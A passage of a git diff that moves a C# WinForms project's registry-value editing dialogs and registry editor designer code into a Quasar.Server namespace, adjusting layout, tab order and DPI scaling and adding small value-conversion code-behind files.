- this.cancelButton.TabIndex = 4;
+ this.cancelButton.TabIndex = 2;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
- this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click);
//
// okButton
//
- this.okButton.Location = new System.Drawing.Point(178, 3);
+ this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
+ this.okButton.Location = new System.Drawing.Point(205, 330);
this.okButton.Name = "okButton";
this.okButton.Size = new System.Drawing.Size(75, 23);
- this.okButton.TabIndex = 5;
+ this.okButton.TabIndex = 1;
this.okButton.Text = "OK";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
@@ -113,23 +96,24 @@ private void InitializeComponent()
// valueDataTxtBox
//
this.valueDataTxtBox.AcceptsReturn = true;
- this.valueDataTxtBox.Location = new System.Drawing.Point(15, 69);
+ this.valueDataTxtBox.Location = new System.Drawing.Point(15, 72);
this.valueDataTxtBox.Multiline = true;
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.ScrollBars = System.Windows.Forms.ScrollBars.Both;
this.valueDataTxtBox.Size = new System.Drawing.Size(346, 252);
- this.valueDataTxtBox.TabIndex = 9;
+ this.valueDataTxtBox.TabIndex = 0;
this.valueDataTxtBox.WordWrap = false;
//
// FrmRegValueEditMultiString
//
this.AcceptButton = this.okButton;
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(373, 365);
+ this.Controls.Add(this.cancelButton);
this.Controls.Add(this.valueDataTxtBox);
- this.Controls.Add(this.flowLayoutPanel1);
+ this.Controls.Add(this.okButton);
this.Controls.Add(this.label2);
this.Controls.Add(this.valueNameTxtBox);
this.Controls.Add(this.label1);
@@ -139,8 +123,6 @@ private void InitializeComponent()
this.Name = "FrmRegValueEditMultiString";
this.ShowIcon = false;
this.Text = "Edit Multi-String";
- this.Load += new System.EventHandler(this.FrmRegValueEditMultiString_Load);
- this.flowLayoutPanel1.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
@@ -151,7 +133,6 @@ private void InitializeComponent()
private System.Windows.Forms.TextBox valueNameTxtBox;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
- private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
private System.Windows.Forms.TextBox valueDataTxtBox;
diff --git a/Quasar.Server/Forms/FrmRegValueEditMultiString.cs b/Quasar.Server/Forms/FrmRegValueEditMultiString.cs
new file mode 100644
index 000000000..7d68517ed
--- /dev/null
+++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.cs
@@ -0,0 +1,30 @@
+using System;
+using System.Windows.Forms;
+using Quasar.Common.Models;
+using Quasar.Common.Utilities;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmRegValueEditMultiString : Form
+ {
+ private readonly RegValueData _value;
+
+ public FrmRegValueEditMultiString(RegValueData value)
+ {
+ _value = value;
+
+ InitializeComponent();
+
+ this.valueNameTxtBox.Text = value.Name;
+ this.valueDataTxtBox.Text = string.Join("\r\n", ByteConverter.ToStringArray(value.Data));
+ }
+
+ private void okButton_Click(object sender, EventArgs e)
+ {
+ _value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text.Split(new[] {"\r\n"}, StringSplitOptions.RemoveEmptyEntries));
+ this.Tag = _value;
+ this.DialogResult = DialogResult.OK;
+ this.Close();
+ }
+ }
+}
diff --git a/Client/Properties/Resources.resx b/Quasar.Server/Forms/FrmRegValueEditMultiString.resx
similarity index 93%
rename from Client/Properties/Resources.resx
rename to Quasar.Server/Forms/FrmRegValueEditMultiString.resx
index 9d27f585f..1af7de150 100644
--- a/Client/Properties/Resources.resx
+++ b/Quasar.Server/Forms/FrmRegValueEditMultiString.resx
@@ -117,8 +117,4 @@
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- ..\images\information.png;System.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
-
\ No newline at end of file
diff --git a/Server/Forms/FrmRegValueEditString.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs
similarity index 78%
rename from Server/Forms/FrmRegValueEditString.Designer.cs
rename to Quasar.Server/Forms/FrmRegValueEditString.Designer.cs
index bfae41aab..4fdef39b4 100644
--- a/Server/Forms/FrmRegValueEditString.Designer.cs
+++ b/Quasar.Server/Forms/FrmRegValueEditString.Designer.cs
@@ -1,4 +1,4 @@
-namespace xServer.Forms
+namespace Quasar.Server.Forms
{
partial class FrmRegValueEditString
{
@@ -35,8 +35,6 @@ private void InitializeComponent()
this.valueDataTxtBox = new System.Windows.Forms.TextBox();
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
- this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel();
- this.flowLayoutPanel1.SuspendLayout();
this.SuspendLayout();
//
// label1
@@ -48,7 +46,6 @@ private void InitializeComponent()
this.label1.Location = new System.Drawing.Point(9, 12);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
- this.label1.TabIndex = 0;
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
@@ -61,7 +58,7 @@ private void InitializeComponent()
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.ReadOnly = true;
this.valueNameTxtBox.Size = new System.Drawing.Size(343, 20);
- this.valueNameTxtBox.TabIndex = 1;
+ this.valueNameTxtBox.TabIndex = 3;
//
// label2
//
@@ -72,7 +69,6 @@ private void InitializeComponent()
this.label2.Location = new System.Drawing.Point(9, 60);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(61, 13);
- this.label2.TabIndex = 2;
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
@@ -84,64 +80,52 @@ private void InitializeComponent()
this.valueDataTxtBox.Location = new System.Drawing.Point(12, 76);
this.valueDataTxtBox.Name = "valueDataTxtBox";
this.valueDataTxtBox.Size = new System.Drawing.Size(343, 20);
- this.valueDataTxtBox.TabIndex = 3;
+ this.valueDataTxtBox.TabIndex = 0;
//
// cancelButton
//
this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
- this.cancelButton.Location = new System.Drawing.Point(265, 3);
+ this.cancelButton.Location = new System.Drawing.Point(280, 111);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(75, 23);
- this.cancelButton.TabIndex = 4;
+ this.cancelButton.TabIndex = 2;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
- this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click);
//
// okButton
//
- this.okButton.Location = new System.Drawing.Point(184, 3);
+ this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
+ this.okButton.Location = new System.Drawing.Point(199, 111);
this.okButton.Name = "okButton";
this.okButton.Size = new System.Drawing.Size(75, 23);
- this.okButton.TabIndex = 5;
+ this.okButton.TabIndex = 1;
this.okButton.Text = "OK";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
//
- // flowLayoutPanel1
- //
- this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
- | System.Windows.Forms.AnchorStyles.Left)
- | System.Windows.Forms.AnchorStyles.Right)));
- this.flowLayoutPanel1.Controls.Add(this.cancelButton);
- this.flowLayoutPanel1.Controls.Add(this.okButton);
- this.flowLayoutPanel1.Location = new System.Drawing.Point(12, 108);
- this.flowLayoutPanel1.Name = "flowLayoutPanel1";
- this.flowLayoutPanel1.RightToLeft = System.Windows.Forms.RightToLeft.Yes;
- this.flowLayoutPanel1.Size = new System.Drawing.Size(343, 33);
- this.flowLayoutPanel1.TabIndex = 6;
- //
// FrmRegValueEditString
//
this.AcceptButton = this.okButton;
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(364, 146);
- this.Controls.Add(this.flowLayoutPanel1);
- this.Controls.Add(this.valueDataTxtBox);
+ this.Controls.Add(this.cancelButton);
+ this.Controls.Add(this.okButton);
this.Controls.Add(this.label2);
this.Controls.Add(this.valueNameTxtBox);
+ this.Controls.Add(this.valueDataTxtBox);
this.Controls.Add(this.label1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+ this.KeyPreview = true;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmRegValueEditString";
this.ShowIcon = false;
+ this.ShowInTaskbar = false;
this.Text = "Edit String";
- this.Load += new System.EventHandler(this.FrmRegValueEditString_Load);
- this.flowLayoutPanel1.ResumeLayout(false);
this.ResumeLayout(false);
this.PerformLayout();
@@ -155,6 +139,5 @@ private void InitializeComponent()
private System.Windows.Forms.TextBox valueDataTxtBox;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
- private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1;
}
}
\ No newline at end of file
diff --git a/Quasar.Server/Forms/FrmRegValueEditString.cs b/Quasar.Server/Forms/FrmRegValueEditString.cs
new file mode 100644
index 000000000..d068af9e8
--- /dev/null
+++ b/Quasar.Server/Forms/FrmRegValueEditString.cs
@@ -0,0 +1,31 @@
+using System;
+using System.Windows.Forms;
+using Quasar.Common.Models;
+using Quasar.Common.Utilities;
+using Quasar.Server.Registry;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmRegValueEditString : Form
+ {
+ private readonly RegValueData _value;
+
+ public FrmRegValueEditString(RegValueData value)
+ {
+ _value = value;
+
+ InitializeComponent();
+
+ this.valueNameTxtBox.Text = RegValueHelper.GetName(value.Name);
+ this.valueDataTxtBox.Text = ByteConverter.ToString(value.Data);
+ }
+
+ private void okButton_Click(object sender, EventArgs e)
+ {
+ _value.Data = ByteConverter.GetBytes(valueDataTxtBox.Text);
+ this.Tag = _value;
+ this.DialogResult = DialogResult.OK;
+ this.Close();
+ }
+ }
+}
diff --git a/Server/Forms/FrmRegValueEditString.resx b/Quasar.Server/Forms/FrmRegValueEditString.resx
similarity index 100%
rename from Server/Forms/FrmRegValueEditString.resx
rename to Quasar.Server/Forms/FrmRegValueEditString.resx
diff --git a/Server/Forms/FrmRegValueEditWord.Designer.cs b/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs
similarity index 76%
rename from Server/Forms/FrmRegValueEditWord.Designer.cs
rename to Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs
index 91f8a307b..62aefd5e1 100644
--- a/Server/Forms/FrmRegValueEditWord.Designer.cs
+++ b/Quasar.Server/Forms/FrmRegValueEditWord.Designer.cs
@@ -1,4 +1,7 @@
-namespace xServer.Forms
+using Quasar.Server.Controls;
+using Quasar.Server.Enums;
+
+namespace Quasar.Server.Forms
{
partial class FrmRegValueEditWord
{
@@ -32,14 +35,12 @@ private void InitializeComponent()
this.valueNameTxtBox = new System.Windows.Forms.TextBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
- this.valueDataTxtBox = new System.Windows.Forms.TextBox();
- this.flowLayoutPanel1 = new System.Windows.Forms.FlowLayoutPanel();
this.cancelButton = new System.Windows.Forms.Button();
this.okButton = new System.Windows.Forms.Button();
this.baseBox = new System.Windows.Forms.GroupBox();
this.radioDecimal = new System.Windows.Forms.RadioButton();
this.radioHexa = new System.Windows.Forms.RadioButton();
- this.flowLayoutPanel1.SuspendLayout();
+ this.valueDataTxtBox = new WordTextBox();
this.baseBox.SuspendLayout();
this.SuspendLayout();
//
@@ -51,8 +52,8 @@ private void InitializeComponent()
this.valueNameTxtBox.Location = new System.Drawing.Point(12, 27);
this.valueNameTxtBox.Name = "valueNameTxtBox";
this.valueNameTxtBox.ReadOnly = true;
- this.valueNameTxtBox.Size = new System.Drawing.Size(337, 20);
- this.valueNameTxtBox.TabIndex = 3;
+ this.valueNameTxtBox.Size = new System.Drawing.Size(334, 20);
+ this.valueNameTxtBox.TabIndex = 5;
//
// label1
//
@@ -63,7 +64,7 @@ private void InitializeComponent()
this.label1.Location = new System.Drawing.Point(9, 11);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(66, 13);
- this.label1.TabIndex = 2;
+ this.label1.TabIndex = 10;
this.label1.Text = "Value name:";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
@@ -76,51 +77,28 @@ private void InitializeComponent()
this.label2.Location = new System.Drawing.Point(9, 53);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(61, 13);
- this.label2.TabIndex = 4;
+ this.label2.TabIndex = 9;
this.label2.Text = "Value data:";
this.label2.TextAlign = System.Drawing.ContentAlignment.MiddleLeft;
//
- // valueDataTxtBox
- //
- this.valueDataTxtBox.CharacterCasing = System.Windows.Forms.CharacterCasing.Lower;
- this.valueDataTxtBox.Location = new System.Drawing.Point(12, 70);
- this.valueDataTxtBox.Name = "valueDataTxtBox";
- this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20);
- this.valueDataTxtBox.TabIndex = 5;
- this.valueDataTxtBox.WordWrap = false;
- this.valueDataTxtBox.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this.valueDataTxtBox_KeyPress);
- //
- // flowLayoutPanel1
- //
- this.flowLayoutPanel1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
- | System.Windows.Forms.AnchorStyles.Left)
- | System.Windows.Forms.AnchorStyles.Right)));
- this.flowLayoutPanel1.Controls.Add(this.cancelButton);
- this.flowLayoutPanel1.Controls.Add(this.okButton);
- this.flowLayoutPanel1.Location = new System.Drawing.Point(12, 122);
- this.flowLayoutPanel1.Name = "flowLayoutPanel1";
- this.flowLayoutPanel1.RightToLeft = System.Windows.Forms.RightToLeft.Yes;
- this.flowLayoutPanel1.Size = new System.Drawing.Size(337, 29);
- this.flowLayoutPanel1.TabIndex = 7;
- //
// cancelButton
//
this.cancelButton.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Right)));
this.cancelButton.DialogResult = System.Windows.Forms.DialogResult.Cancel;
- this.cancelButton.Location = new System.Drawing.Point(259, 3);
+ this.cancelButton.Location = new System.Drawing.Point(271, 128);
this.cancelButton.Name = "cancelButton";
this.cancelButton.Size = new System.Drawing.Size(75, 23);
- this.cancelButton.TabIndex = 4;
+ this.cancelButton.TabIndex = 2;
this.cancelButton.Text = "Cancel";
this.cancelButton.UseVisualStyleBackColor = true;
- this.cancelButton.Click += new System.EventHandler(this.cancelButton_Click);
//
// okButton
//
- this.okButton.Location = new System.Drawing.Point(178, 3);
+ this.okButton.DialogResult = System.Windows.Forms.DialogResult.OK;
+ this.okButton.Location = new System.Drawing.Point(190, 128);
this.okButton.Name = "okButton";
this.okButton.Size = new System.Drawing.Size(75, 23);
- this.okButton.TabIndex = 5;
+ this.okButton.TabIndex = 1;
this.okButton.Text = "OK";
this.okButton.UseVisualStyleBackColor = true;
this.okButton.Click += new System.EventHandler(this.okButton_Click);
@@ -132,7 +110,7 @@ private void InitializeComponent()
this.baseBox.Location = new System.Drawing.Point(190, 53);
this.baseBox.Name = "baseBox";
this.baseBox.Size = new System.Drawing.Size(156, 63);
- this.baseBox.TabIndex = 8;
+ this.baseBox.TabIndex = 6;
this.baseBox.TabStop = false;
this.baseBox.Text = "Base";
//
@@ -142,10 +120,9 @@ private void InitializeComponent()
this.radioDecimal.Location = new System.Drawing.Point(14, 40);
this.radioDecimal.Name = "radioDecimal";
this.radioDecimal.Size = new System.Drawing.Size(63, 17);
- this.radioDecimal.TabIndex = 1;
+ this.radioDecimal.TabIndex = 4;
this.radioDecimal.Text = "Decimal";
this.radioDecimal.UseVisualStyleBackColor = true;
- this.radioDecimal.Click += new System.EventHandler(this.radioDecimal_Click);
//
// radioHexa
//
@@ -154,34 +131,45 @@ private void InitializeComponent()
this.radioHexa.Location = new System.Drawing.Point(14, 17);
this.radioHexa.Name = "radioHexa";
this.radioHexa.Size = new System.Drawing.Size(86, 17);
- this.radioHexa.TabIndex = 0;
+ this.radioHexa.TabIndex = 3;
this.radioHexa.TabStop = true;
this.radioHexa.Text = "Hexadecimal";
this.radioHexa.UseVisualStyleBackColor = true;
- this.radioHexa.Click += new System.EventHandler(this.radioHexa_Click);
+ this.radioHexa.CheckedChanged += new System.EventHandler(this.radioHex_CheckboxChanged);
+ //
+ // valueDataTxtBox
+ //
+ this.valueDataTxtBox.IsHexNumber = true;
+ this.valueDataTxtBox.Location = new System.Drawing.Point(12, 70);
+ this.valueDataTxtBox.MaxLength = 8;
+ this.valueDataTxtBox.Name = "valueDataTxtBox";
+ this.valueDataTxtBox.Size = new System.Drawing.Size(161, 20);
+ this.valueDataTxtBox.TabIndex = 0;
+ this.valueDataTxtBox.Text = "0";
+ this.valueDataTxtBox.Type = WordType.DWORD;
//
// FrmRegValueEditWord
//
this.AcceptButton = this.okButton;
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
- this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi;
this.CancelButton = this.cancelButton;
this.ClientSize = new System.Drawing.Size(358, 163);
- this.Controls.Add(this.baseBox);
- this.Controls.Add(this.flowLayoutPanel1);
this.Controls.Add(this.valueDataTxtBox);
+ this.Controls.Add(this.cancelButton);
+ this.Controls.Add(this.baseBox);
+ this.Controls.Add(this.okButton);
this.Controls.Add(this.label2);
this.Controls.Add(this.valueNameTxtBox);
this.Controls.Add(this.label1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+ this.KeyPreview = true;
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FrmRegValueEditWord";
this.ShowIcon = false;
this.Text = "Edit";
- this.Load += new System.EventHandler(this.FrmRegValueEditWord_Load);
- this.flowLayoutPanel1.ResumeLayout(false);
this.baseBox.ResumeLayout(false);
this.baseBox.PerformLayout();
this.ResumeLayout(false);
@@ -194,12 +182,11 @@ private void InitializeComponent()
private System.Windows.Forms.TextBox valueNameTxtBox;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
- private System.Windows.Forms.TextBox valueDataTxtBox;
- private System.Windows.Forms.FlowLayoutPanel flowLayoutPanel1;
private System.Windows.Forms.Button cancelButton;
private System.Windows.Forms.Button okButton;
private System.Windows.Forms.GroupBox baseBox;
private System.Windows.Forms.RadioButton radioDecimal;
private System.Windows.Forms.RadioButton radioHexa;
+ private Controls.WordTextBox valueDataTxtBox;
}
}
\ No newline at end of file
diff --git a/Quasar.Server/Forms/FrmRegValueEditWord.cs b/Quasar.Server/Forms/FrmRegValueEditWord.cs
new file mode 100644
index 000000000..a8745c1d1
--- /dev/null
+++ b/Quasar.Server/Forms/FrmRegValueEditWord.cs
@@ -0,0 +1,80 @@
+using System;
+using System.Windows.Forms;
+using Microsoft.Win32;
+using Quasar.Common.Models;
+using Quasar.Common.Utilities;
+using Quasar.Server.Enums;
+
+namespace Quasar.Server.Forms
+{
+ public partial class FrmRegValueEditWord : Form
+ {
+ private readonly RegValueData _value;
+
+ private const string DWORD_WARNING = "The decimal value entered is greater than the maximum value of a DWORD (32-bit number). Should the value be truncated in order to continue?";
+ private const string QWORD_WARNING = "The decimal value entered is greater than the maximum value of a QWORD (64-bit number). Should the value be truncated in order to continue?";
+
+ public FrmRegValueEditWord(RegValueData value)
+ {
+ _value = value;
+
+ InitializeComponent();
+
+ this.valueNameTxtBox.Text = value.Name;
+
+ if (value.Kind == RegistryValueKind.DWord)
+ {
+ this.Text = "Edit DWORD (32-bit) Value";
+ this.valueDataTxtBox.Type = WordType.DWORD;
+ this.valueDataTxtBox.Text = ByteConverter.ToUInt32(value.Data).ToString("x");
+ }
+ else
+ {
+ this.Text = "Edit QWORD (64-bit) Value";
+ this.valueDataTxtBox.Type = WordType.QWORD;
+ this.valueDataTxtBox.Text = ByteConverter.ToUInt64(value.Data).ToString("x");
+ }
+ }
+
+ private void radioHex_CheckboxChanged(object sender, EventArgs e)
+ {
+ if (valueDataTxtBox.IsHexNumber == radioHexa.Checked)
+ return;
+
+ if(valueDataTxtBox.IsConversionValid() || IsOverridePossible())
+ valueDataTxtBox.IsHexNumber = radioHexa.Checked;
+ else
+ radioDecimal.Checked = true;
+ }
+
+ private void okButton_Click(object sender, EventArgs e)
+ {
+ if (valueDataTxtBox.IsConversionValid() || IsOverridePossible())
+ {
+ _value.Data = _value.Kind == RegistryValueKind.DWord
+ ? ByteConverter.GetBytes(valueDataTxtBox.UIntValue)
+ : ByteConverter.GetBytes(valueDataTxtBox.ULongValue);
+ this.Tag = _value;
+ this.DialogResult = DialogResult.OK;
+ }
+ else
+ {
+ this.DialogResult = DialogResult.None;
+ }
+
+ this.Close();
+ }
+
+ private DialogResult ShowWarning(string msg, string caption)
+ {
+ return MessageBox.Show(msg, caption, MessageBoxButtons.YesNo, MessageBoxIcon.Warning);
+ }
+
+ private bool IsOverridePossible()
+ {
+ string message = _value.Kind == RegistryValueKind.DWord ? DWORD_WARNING : QWORD_WARNING;
+
+ return ShowWarning(message, "Overflow") == DialogResult.Yes;
+ }
+ }
+}
diff --git a/Server/Forms/FrmRegValueEditWord.resx b/Quasar.Server/Forms/FrmRegValueEditWord.resx
similarity index 100%
rename from Server/Forms/FrmRegValueEditWord.resx
rename to Quasar.Server/Forms/FrmRegValueEditWord.resx
diff --git a/Server/Forms/FrmRegistryEditor.Designer.cs b/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs
similarity index 93%
rename from Server/Forms/FrmRegistryEditor.Designer.cs
rename to Quasar.Server/Forms/FrmRegistryEditor.Designer.cs
index e8634476d..56c1e05cb 100644
--- a/Server/Forms/FrmRegistryEditor.Designer.cs
+++ b/Quasar.Server/Forms/FrmRegistryEditor.Designer.cs
@@ -1,4 +1,6 @@
-namespace xServer.Forms
+using Quasar.Server.Controls;
+
+namespace Quasar.Server.Forms
{
partial class FrmRegistryEditor
{
@@ -71,7 +73,7 @@ private void InitializeComponent()
this.selectedItem_ContextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
this.modifyToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
this.modifyBinaryDataToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
- this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
+ this.modifyToolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
this.deleteToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.renameToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.lst_ContextMenuStrip = new System.Windows.Forms.ContextMenuStrip(this.components);
@@ -84,8 +86,8 @@ private void InitializeComponent()
this.qWORD64bitValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.multiStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
this.expandableStringValueToolStripMenuItem1 = new System.Windows.Forms.ToolStripMenuItem();
- this.tvRegistryDirectory = new xServer.Controls.RegistryTreeView();
- this.lstRegistryKeys = new xServer.Controls.AeroListView();
+ this.tvRegistryDirectory = new RegistryTreeView();
+ this.lstRegistryValues = new AeroListView();
this.hName = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hType = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
this.hValue = ((System.Windows.Forms.ColumnHeader)(new System.Windows.Forms.ColumnHeader()));
@@ -116,7 +118,7 @@ private void InitializeComponent()
this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 25F));
this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F));
this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 22F));
- this.tableLayoutPanel.Size = new System.Drawing.Size(1239, 724);
+ this.tableLayoutPanel.Size = new System.Drawing.Size(784, 561);
this.tableLayoutPanel.TabIndex = 0;
//
// splitContainer
@@ -131,9 +133,9 @@ private void InitializeComponent()
//
// splitContainer.Panel2
//
- this.splitContainer.Panel2.Controls.Add(this.lstRegistryKeys);
- this.splitContainer.Size = new System.Drawing.Size(1233, 671);
- this.splitContainer.SplitterDistance = 411;
+ this.splitContainer.Panel2.Controls.Add(this.lstRegistryValues);
+ this.splitContainer.Size = new System.Drawing.Size(778, 508);
+ this.splitContainer.SplitterDistance = 259;
this.splitContainer.TabIndex = 0;
//
// imageRegistryDirectoryList
@@ -154,9 +156,9 @@ private void InitializeComponent()
this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill;
this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.selectedStripStatusLabel});
- this.statusStrip.Location = new System.Drawing.Point(0, 702);
+ this.statusStrip.Location = new System.Drawing.Point(0, 539);
this.statusStrip.Name = "statusStrip";
- this.statusStrip.Size = new System.Drawing.Size(1239, 22);
+ this.statusStrip.Size = new System.Drawing.Size(784, 22);
this.statusStrip.TabIndex = 1;
this.statusStrip.Text = "statusStrip";
//
@@ -204,6 +206,7 @@ private void InitializeComponent()
this.editToolStripMenuItem.Name = "editToolStripMenuItem";
this.editToolStripMenuItem.Size = new System.Drawing.Size(39, 20);
this.editToolStripMenuItem.Text = "Edit";
+ this.editToolStripMenuItem.DropDownOpening += new System.EventHandler(this.editToolStripMenuItem_DropDownOpening);
//
// modifyToolStripMenuItem1
//
@@ -426,7 +429,7 @@ private void InitializeComponent()
this.selectedItem_ContextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
this.modifyToolStripMenuItem,
this.modifyBinaryDataToolStripMenuItem,
- this.toolStripSeparator3,
+ this.modifyToolStripSeparator1,
this.deleteToolStripMenuItem1,
this.renameToolStripMenuItem1});
this.selectedItem_ContextMenuStrip.Name = "selectedItem_ContextMenuStrip";
@@ -449,10 +452,10 @@ private void InitializeComponent()
this.modifyBinaryDataToolStripMenuItem.Text = "Modify Binary Data...";
this.modifyBinaryDataToolStripMenuItem.Click += new System.EventHandler(this.modifyBinaryDataRegistryValue_Click);
//
- // toolStripSeparator3
+ // modifyToolStripSeparator1
//
- this.toolStripSeparator3.Name = "toolStripSeparator3";
- this.toolStripSeparator3.Size = new System.Drawing.Size(181, 6);
+ this.modifyToolStripSeparator1.Name = "modifyToolStripSeparator1";
+ this.modifyToolStripSeparator1.Size = new System.Drawing.Size(181, 6);
//
// deleteToolStripMenuItem1
//
@@ -553,7 +556,7 @@ private void InitializeComponent()
this.tvRegistryDirectory.Location = new System.Drawing.Point(0, 0);
this.tvRegistryDirectory.Name = "tvRegistryDirectory";
this.tvRegistryDirectory.SelectedImageIndex = 0;
- this.tvRegistryDirectory.Size = new System.Drawing.Size(411, 671);
+ this.tvRegistryDirectory.Size = new System.Drawing.Size(259, 508);
this.tvRegistryDirectory.TabIndex = 0;
this.tvRegistryDirectory.AfterLabelEdit += new System.Windows.Forms.NodeLabelEditEventHandler(this.tvRegistryDirectory_AfterLabelEdit);
this.tvRegistryDirectory.BeforeExpand += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeExpand);
@@ -561,50 +564,47 @@ private void InitializeComponent()
this.tvRegistryDirectory.NodeMouseClick += new System.Windows.Forms.TreeNodeMouseClickEventHandler(this.tvRegistryDirectory_NodeMouseClick);
this.tvRegistryDirectory.KeyUp += new System.Windows.Forms.KeyEventHandler(this.tvRegistryDirectory_KeyUp);
//
- // lstRegistryKeys
+ // lstRegistryValues
//
- this.lstRegistryKeys.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
+ this.lstRegistryValues.Columns.AddRange(new System.Windows.Forms.ColumnHeader[] {
this.hName,
this.hType,
this.hValue});
- this.lstRegistryKeys.Dock = System.Windows.Forms.DockStyle.Fill;
- this.lstRegistryKeys.FullRowSelect = true;
- this.lstRegistryKeys.HeaderStyle = System.Windows.Forms.ColumnHeaderStyle.Nonclickable;
- this.lstRegistryKeys.HideSelection = false;
- this.lstRegistryKeys.Location = new System.Drawing.Point(0, 0);
- this.lstRegistryKeys.Name = "lstRegistryKeys";
- this.lstRegistryKeys.Size = new System.Drawing.Size(818, 671);
- this.lstRegistryKeys.SmallImageList = this.imageRegistryKeyTypeList;
